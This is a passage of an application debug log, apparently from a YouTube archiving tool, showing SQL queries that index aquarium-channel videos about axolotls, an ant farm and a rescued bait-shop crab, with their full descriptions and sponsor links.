🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "44ec6b16-b25a-4db0-b264-7c58cec7bb38", "3Jht0AF-4TA", false, "https://www.youtube.com/watch?v=3Jht0AF-4TA", 32, [], 1063, false, 6, "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", false, false, 98, ~U[2025-11-21 21:25:57Z], ~U[2026-06-03 15:12:58Z], ~U[2026-06-03 15:12:58Z], "I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "3Jht0AF-4TA", "https://www.youtube.com/watch?v=3Jht0AF-4TA", 32, 1063, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", false, ~U[2025-11-21 21:25:57Z]] 11:12:58.587 [debug] QUERY OK source="sources" db=0.2ms idle=47.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:58.587 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:58.588 [debug] QUERY OK source="media_items" db=0.3ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116186] 11:12:58.588 [debug] Current batch of media processed. Will check again in 1000ms 11:12:59.589 [debug] Current batch of media processed. Will check again in 1000ms 11:13:00.215 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.360 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:13:00.591 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 836, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", "id" => "zndpck7p5wo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zndpck7p5wo", "playlist_index" => 7, "timestamp" => 1759341720, "title" => "I Turned my Bed into a GIANT Ant Farm...", "upload_date" => "20251001"} 11:13:00.592 [debug] QUERY OK source="sources" db=0.5ms idle=896.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:00.593 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=897.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:00.595 [debug] QUERY OK source="media_items" db=1.2ms idle=378.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-01 18:02:00Z], 32] 11:13:00.597 [debug] QUERY OK source="media_items" db=1.1ms idle=235.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a GIANT Ant Farm...", "f7d31cab-552b-42e4-abbf-6637e86e2df5", "zndpck7p5wo", false, "https://www.youtube.com/watch?v=zndpck7p5wo", 32, [], 836, false, 7, "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", false, false, 98, ~U[2025-10-01 18:02:00Z], ~U[2026-06-03 15:13:00Z], ~U[2026-06-03 15:13:00Z], "I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a GIANT Ant Farm...", "zndpck7p5wo", "https://www.youtube.com/watch?v=zndpck7p5wo", 32, 836, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", false, ~U[2025-10-01 18:02:00Z]] 11:13:00.597 [debug] QUERY OK source="sources" db=0.1ms idle=53.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:00.598 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:00.598 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116187] 11:13:00.598 [debug] Current batch of media processed. Will check again in 1000ms 11:13:01.599 [debug] Current batch of media processed. Will check again in 1000ms 11:13:02.600 [debug] Current batch of media processed. Will check again in 1000ms 11:13:03.601 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 681, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", "id" => "zrKIOAlWW9g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zrKIOAlWW9g", "playlist_index" => 8, "timestamp" => 1756676894, "title" => "Raising a Bait Shop Crab as a Pet...", "upload_date" => "20250831"} 11:13:03.602 [debug] QUERY OK source="sources" db=0.3ms idle=1906.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:03.602 [debug] QUERY OK source="sources" db=0.2ms idle=1907.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:03.603 [debug] QUERY OK source="media_items" db=0.4ms idle=1907.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-31 21:48:14Z], 32] 11:13:03.605 [debug] QUERY OK source="media_items" db=1.4ms idle=1057.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Bait Shop Crab as a Pet...", "70477354-4dbc-4159-98ed-11660fb00535", "zrKIOAlWW9g", false, "https://www.youtube.com/watch?v=zrKIOAlWW9g", 32, [], 681, false, 8, "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", false, false, 98, ~U[2025-08-31 21:48:14Z], ~U[2026-06-03 15:13:03Z], ~U[2026-06-03 15:13:03Z], "Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini 